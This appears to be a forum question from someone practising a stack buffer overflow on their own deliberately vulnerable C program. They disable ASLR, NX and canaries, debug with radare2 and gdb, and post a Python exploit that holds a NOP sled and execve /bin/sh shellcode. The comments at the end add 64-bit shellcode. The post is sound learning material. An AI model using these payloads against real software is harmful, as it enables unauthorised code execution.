I wrote this short C program to practice buffer overflow exploits:
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>
char *decode(char *s){
for(int i = 0; i < strlen(s); i++){
s[i] ^= 0x15;
}
return s;
}
void get_secret(int argc, char *argv[]){
uint32_t eip_addr;
char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
char buffer[100];
if(argc > 1){
strcpy(buffer, argv[1]);
}else{
scanf("%s", buffer);
}
printf("You entered: %s\n\n", buffer);
if(strcmp(buffer, secret) == 0){
printf("Passwords match!\n");
printf("Here is the secret message: %s\n", decode(secret));
}else{
printf("Get the f!@# out of here!\n");
asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
printf("EIP address: %" PRIx32 "; %" PRIu32 " bytes from main start\n",
eip_addr,eip_addr - (uint32_t)get_secret);
}
}
int main(int argc, char *argv[]){
printf("Welcome to the simple verifier!\n");
printf("Please enter your password: ");
get_secret(argc, argv);
return 0;
}
I disable ASLR and compile it with NX, PIE, and CANARY disabled:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow
Using r2, ragg2 and rarun2, I find where I can overwrite the return address of get_secret():
~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address: 804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]>
So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using gdb:
~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39 0x25 0xfe 0xf7 0x00 0x00 0x00 0x00
0xffffd108: 0x7d 0xc5 0xe5 0x41 0x41 0x41 0x41 0x41
0xffffd110: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd118: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd120: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd128: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd130: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd138: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd140: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd148: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd150: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd158: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd160: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd168: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd170: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd178: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd180: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd188: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd190: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd198: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
0xffffd1a0: 0x00 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1a8: 0x80 0x28 0xe2 0xf7 0x55 0x93 0x04 0x08
0xffffd1b0: 0x02 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1b8: 0x80 0xd2 0xff 0xff 0xe0 0xd1 0xff 0xff
0xffffd1c0: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
gdb-peda$
I should be able to replace those \x41s with \x90s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this:
"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>
Using this logic, I picked an address in the middle on the NOPs, 0xffffd150, and crafted the following python exploit:
#!/usr/bin/env python
import struct, os
#land in middle of NOPs
ret_addr = 0xffffd150
#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
#correct endianess
def conv(val):
return struct.pack('<I', val)
# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)
print("Starting exploit")
os.system("./overflow_exe "+exp)
But...I keep getting an Illegal instruction fault:
~$ ./overflow_exploit.py
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
1�@̀P���
Get the f!@# out of here!
EIP address: 804930b; 257 bytes from main start
Illegal instruction
Back in gdb I can see the NOP sled, shellcode, and return address, all where they should be:
gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539 0x00000000 0x90e5c57d 0x90909090
0xffffd130: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd140: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd150: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd160: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd170: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd180: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd190: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1a0: 0x6850c031 0x68732f2f 0x69622f68 0x89e3896e
0xffffd1b0: 0xb0c289c1 0x3180cd0b 0x80cd40c0 0xffffd150
I'm at a loss. I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an "Illegal instruction" fault):
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
Why is my exploit throwing an Illegal instruction fault when all security features are disabled, and my shellcode is in the correct position on the stack?
I'm on Debian 9
gdbwith thesi(stepi) command. You will get a more accurate information about what does cause the problem. Also, uselayout nexta few time until you get the assembly displayed.$(python -c 'print "\x90"*65 + "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"A"*50+"\x50\xdc\xff\xff"'), I getsh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���: not foundXOR EAX, EAX PUSH RAXinstead of (on x86_32)XOR EAX, EAX PUSH EAX